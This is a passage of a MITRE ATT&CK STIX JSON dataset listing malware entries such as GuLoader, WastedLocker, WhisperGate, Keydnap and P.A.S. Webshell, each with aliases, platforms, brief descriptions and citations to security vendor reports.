2024)\n","x_mitre_platforms":["macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Takemasa Kamatani, NEC Corporation","Sareena Karapoola, NEC Corporation India","Pooja Natarajan, NEC Corporation India"],"x_mitre_aliases":["Cuckoo Stealer"],"type":"malware","id":"malware--457a5e8d-d964-4130-bde3-c07bb41a093e","created":"2024-08-20T19:39:35.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1153","external_id":"S1153"},{"source_name":"Kandji Cuckoo April 2024","description":"Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.","url":"https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"},{"source_name":"SentinelOne Cuckoo Stealer May 2024","description":"Stokes, P. (2024, May 9). macOS Cuckoo Stealer | Ensuring Detection and Defense as New Samples Rapidly Emerge. Retrieved August 20, 2024.","url":"https://www.sentinelone.com/blog/macos-cuckoo-stealer-ensuring-detection-and-defense-as-new-samples-rapidly-emerge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Eli Salem, @elisalem9"],"x_mitre_aliases":["GuLoader"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","type":"malware","created":"2021-01-11T20:49:20.832Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0561","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0561"},{"source_name":"Unit 42 NETWIRE April 2020","url":"https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/","description":"Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."},{"source_name":"Medium Eli Salem GuLoader April 2021","url":"https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4","description":"Salem, E. (2021, April 19). Dancing With Shellcodes: Cracking the latest version of Guloader. Retrieved July 7, 2021."}],"modified":"2021-10-15T19:14:33.244Z","name":"GuLoader","description":"[GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198), [Agent Tesla](https://attack.mitre.org/software/S0331), [NanoCore](https://attack.mitre.org/software/S0336), FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April 2020)(Citation: Medium Eli Salem GuLoader April 2021)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--463f68f1-5cde-4dc2-a831-68b73488f8f4","type":"malware","created":"2017-05-31T21:32:53.681Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0079","external_id":"S0079"},{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2018-10-17T00:14:20.652Z","name":"MobileOrder","description":"[MobileOrder](https://attack.mitre.org/software/S0079) is a Trojan intended to compromise Android mobile devices. It has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-25T19:46:59.150Z","name":"WastedLocker","description":"[WastedLocker](https://attack.mitre.org/software/S0612) is a ransomware family attributed to [Indrik Spider](https://attack.mitre.org/groups/G0119) that has been used since at least May 2020. [WastedLocker](https://attack.mitre.org/software/S0612) has been used against a broad variety of sectors, including manufacturing, information technology, and media.(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020)(Citation: Sentinel Labs WastedLocker July 2020) ","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["WastedLocker"],"type":"malware","id":"malware--46cbafbc-8907-42d3-9002-5327c26f8927","created":"2021-05-20T17:44:26.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0612","external_id":"S0612"},{"source_name":"WastedLocker","description":"(Citation: Symantec WastedLocker June 2020)(Citation: NCC Group WastedLocker June 2020) "},{"source_name":"NCC Group WastedLocker June 2020","description":"Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021.","url":"https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/"},{"source_name":"Symantec WastedLocker June 2020","description":"Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us"},{"source_name":"Sentinel Labs WastedLocker July 2020","description":"Walter, J.. (2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. Retrieved September 14, 2021.","url":"https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-24T21:24:58.468Z","name":"RegDuke","description":"[RegDuke](https://attack.mitre.org/software/S0511) is a first stage implant written in .NET and used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2017. [RegDuke](https://attack.mitre.org/software/S0511) has been used to control a compromised machine when control of other implants on the machine was lost.(Citation: ESET Dukes October 2019)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["RegDuke"],"type":"malware","id":"malware--47124daf-44be-4530-9c63-038bc64318dd","created":"2020-09-23T18:04:24.998Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0511","external_id":"S0511"},{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["ProLock"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--471d0e9f-2c8a-4e4b-8f3b-f85d2407806e","type":"malware","created":"2021-09-30T19:47:47.136Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0654","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0654"},{"source_name":"Group IB Ransomware September 2020","url":"https://groupib.pathfactory.com/ransomware-reports/prolock_wp","description":"Group IB. (2020, September). LOCK LIKE A PRO. Retrieved September 27, 2021."}],"modified":"2021-10-15T21:35:09.832Z","name":"ProLock","description":"[ProLock](https://attack.mitre.org/software/S0654) is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with [QakBot](https://attack.mitre.org/software/S0650). [ProLock](https://attack.mitre.org/software/S0654) is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.(Citation: Group IB Ransomware September 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-29T15:19:39.017Z","name":"Moneybird","description":"[Moneybird](https://attack.mitre.org/software/S1137) is a ransomware variant written in C++ associated with [Agrius](https://attack.mitre.org/groups/G1030) operations. The name \"Moneybird\" is contained in the malware's ransom note and as strings in the executable.(Citation: CheckPoint Agrius 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Moneybird"],"type":"malware","id":"malware--47ab6350-054f-4754-ba4d-e52a4e8751e2","created":"2024-05-22T23:05:34.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1137","external_id":"S1137"},{"source_name":"CheckPoint Agrius 2023","description":"Marc Salinas Fernandez & Jiri Vinopal. (2023, May 23). AGRIUS DEPLOYS MONEYBIRD IN TARGETED ATTACKS AGAINST ISRAELI ORGANIZATIONS. Retrieved May 21, 2024.","url":"https://research.checkpoint.com/2023/agrius-deploys-moneybird-in-targeted-attacks-against-israeli-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["ESET"],"x_mitre_aliases":["InvisiMole"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0260","external_id":"S0260"},{"source_name":"InvisiMole","description":"(Citation: ESET InvisiMole June 2018)"},{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2021-11-29T12:41:28.009Z","name":"InvisiMole","description":"[InvisiMole](https://attack.mitre.org/software/S0260) is a modular spyware program that has been used by the InvisiMole Group since at least 2013. [InvisiMole](https://attack.mitre.org/software/S0260) has two backdoor modules called RC2FM and RC2CL that are used to perform post-exploitation activities. It has been discovered on compromised victims in the Ukraine and Russia. [Gamaredon Group](https://attack.mitre.org/groups/G0047) infrastructure has been used to download and execute [InvisiMole](https://attack.mitre.org/software/S0260) against a small number of victims.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","x_mitre_version":"2.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["P.A.S. Webshell","Fobushell"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd","type":"malware","created":"2021-04-13T12:46:58.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0598","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0598"},{"source_name":"Fobushell","description":"(Citation: NCCIC AR-17-20045 February 2017)"},{"source_name":"ANSSI Sandworm January 2021","url":"https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf","description":"ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021."},{"source_name":"NCCIC AR-17-20045 February 2017","url":"https://us-cert.cisa.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf","description":"NCCIC. (2017, February 10). Enhanced Analysis of GRIZZLY STEPPE Activity. Retrieved April 12, 2021."}],"modified":"2021-04-13T13:10:36.820Z","name":"P.A.S. Webshell","description":"[P.A.S. Webshell](https://attack.mitre.org/software/S0598) is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-02T21:29:35.492Z","name":"QUIETEXIT","description":"[QUIETEXIT](https://attack.mitre.org/software/S1084) is a novel backdoor, based on the open-source Dropbear SSH client-server software, that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021. [APT29](https://attack.mitre.org/groups/G0016) has deployed [QUIETEXIT](https://attack.mitre.org/software/S1084) on opaque network appliances that typically don't support antivirus or endpoint detection and response tools within a victim environment.(Citation: Mandiant APT29 Eye Spy Email Nov 22)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Joe Gumke, U.S. Bank"],"x_mitre_aliases":["QUIETEXIT"],"type":"malware","id":"malware--4816d361-f82b-4a18-aa05-b215e7cf9200","created":"2023-08-17T17:06:19.976Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1084","external_id":"S1084"},{"source_name":"Mandiant APT29 Eye Spy Email Nov 22","description":"Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.","url":"https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Naid"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--48523614-309e-43bf-a2b8-705c2b45d7b2","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0205","external_id":"S0205"},{"source_name":"Naid","description":"(Citation: Symantec Naid June 2012)"},{"source_name":"Symantec Naid June 2012","description":"Neville, A. (2012, June 15). Trojan.Naid. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-061518-4639-99"},{"url":"https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf","description":"O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.","source_name":"Symantec Elderwood Sept 2012"}],"modified":"2021-01-06T19:32:28.371Z","name":"Naid","description":"[Naid](https://attack.mitre.org/software/S0205) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-29T15:21:36.079Z","name":"Apostle","description":"[Apostle](https://attack.mitre.org/software/S1133) is malware that has functioned as both a wiper and, in more recent versions, as ransomware. [Apostle](https://attack.mitre.org/software/S1133) is written in .NET and shares various programming and functional overlaps with [IPsec Helper](https://attack.mitre.org/software/S1132).(Citation: SentinelOne Agrius 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["Apostle"],"type":"malware","id":"malware--48d96fa0-d027-45aa-a8c3-5d09f65d596d","created":"2024-05-22T19:16:58.646Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1133","external_id":"S1133"},{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:16:05.440Z","name":"Volgmer","description":"[Volgmer](https://attack.mitre.org/software/S0180) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.3","x_mitre_aliases":["Volgmer"],"type":"malware","id":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0180","external_id":"S0180"},{"source_name":"Volgmer","description":"(Citation: US-CERT Volgmer Nov 2017) (Citation: US-CERT Volgmer 2 Nov 2017) (Citation: Symantec Volgmer Aug 2014)"},{"source_name":"US-CERT Volgmer 2 Nov 2017","description":"US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"},{"source_name":"US-CERT Volgmer Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA – North Korean Trojan: Volgmer. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318B"},{"source_name":"Symantec Volgmer Aug 2014","description":"Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.","url":"https://web.archive.org/web/20181126143456/https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-04T21:37:24.766Z","name":"WINERACK","description":"[WINERACK](https://attack.mitre.org/software/S0219) is a backdoor used by [APT37](https://attack.mitre.org/groups/G0067). (Citation: FireEye APT37 Feb 2018)","x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["WINERACK"],"type":"malware","id":"malware--49abab73-3c5c-476e-afd5-69b5c732d845","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0219","external_id":"S0219"},{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T22:13:49.349Z","name":"WhisperGate","description":"[WhisperGate](https://attack.mitre.org/software/S0689) is a multi-stage wiper designed to look like ransomware that has been used against multiple government, non-profit, and information technology organizations in Ukraine since at least January 2022.(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Microsoft WhisperGate January 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_contributors":["Phill Taylor, BT Security","Matt Brenton, Zurich Global Information Security"],"x_mitre_aliases":["WhisperGate"],"type":"malware","id":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","created":"2022-03-10T16:42:36.137Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0689","external_id":"S0689"},{"source_name":"Cybereason WhisperGate February 2022","description":"Cybereason Nocturnus. (2022, February 15). Cybereason vs. WhisperGate and HermeticWiper. Retrieved March 10, 2022.","url":"https://www.cybereason.com/blog/cybereason-vs.-whispergate-wiper"},{"source_name":"Unit 42 WhisperGate January 2022","description":"Falcone, R. et al.. (2022, January 20). Threat Brief: Ongoing Russia and Ukraine Cyber Conflict. Retrieved March 10, 2022.","url":"https://unit42.paloaltonetworks.com/ukraine-cyber-conflict-cve-2021-32648-whispergate/#whispergate-malware-family"},{"source_name":"Microsoft WhisperGate January 2022","description":"MSTIC. (2022, January 15). Destructive malware targeting Ukrainian organizations. Retrieved March 10, 2022.","url":"https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T03:55:46.184Z","name":"FruitFly","description":"FruitFly is designed to spy on mac users (Citation: objsee mac malware 2017).","x_mitre_platforms":["macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["FruitFly"],"type":"malware","id":"malware--4a98e44a-bd52-461e-af1e-a4457de87a36","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0277","external_id":"S0277"},{"source_name":"FruitFly","description":"(Citation: objsee mac malware 2017)."},{"source_name":"objsee mac malware 2017","description":"Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-10T20:32:14.510Z","name":"ZeroT","description":"[ZeroT](https://attack.mitre.org/software/S0230) is a Trojan used by [TA459](https://attack.mitre.org/groups/G0062), often in conjunction with [PlugX](https://attack.mitre.org/software/S0013). (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["ZeroT"],"type":"malware","id":"malware--4ab44516-ad75-4e43-a280-705dc0420e2f","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0230","external_id":"S0230"},{"source_name":"ZeroT","description":"(Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)"},{"source_name":"Proofpoint TA459 April 2017","description":"Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts"},{"source_name":"Proofpoint ZeroT Feb 2017","description":"Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.","url":"https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-10T15:18:40.400Z","name":"Keydnap","description":"This piece of malware steals the content of the user's keychain while maintaining a permanent backdoor (Citation: OSX Keydnap malware).","x_mitre_platforms":["macOS"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["Keydnap","OSX/Keydnap"],"type":"malware","id":"malware--4b072c90-bc7a-432b-940e-016fc1c01761","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0276","external_id":"S0276"},{"source_name":"OSX/Keydnap","description":"(Citation: OSX Keydnap malware)"},{"source_name":"Keydnap","description":"(Citation: synack 2016 review)"},{"source_name":"OSX Keydnap malware","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"},{"source_name":"synack 2016 review","description":"Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.","url":"https://objective-see.org/blog/blog_0x16.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["RDAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b","type":"malware","created":"2020-07-28T17:26:36.168Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0495","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0495"},{"source_name":"Unit42 RDAT July 2020","url":"https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/","description":"Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}],"modified":"2020-10-15T23:59:45.815Z","name":"RDAT","description":"[RDAT](https://attack.mitre.org/software/S0495) is a backdoor used by the suspected Iranian threat group [OilRig](https://attack.mitre.org/groups/G0049). [RDAT](https://attack.mitre.org/software/S0495) was originally identified in 2017 and targeted companies in the telecommunications sector.(Citation: Unit42 RDAT July 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Hacking Team UEFI Rootkit"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4b62ab58-c23b-4704-9c15-edd568cd59f8","type":"malware","created":"2017-05-31T21:32:35.389Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0047","external_id":"S0047"},{"source_name":"TrendMicro Hacking Team UEFI","description":"Lin, P. (2015, July 13). Hacking Team Uses UEFI BIOS Rootkit to Keep RCS 9 Agent in Target Systems. Retrieved December 11, 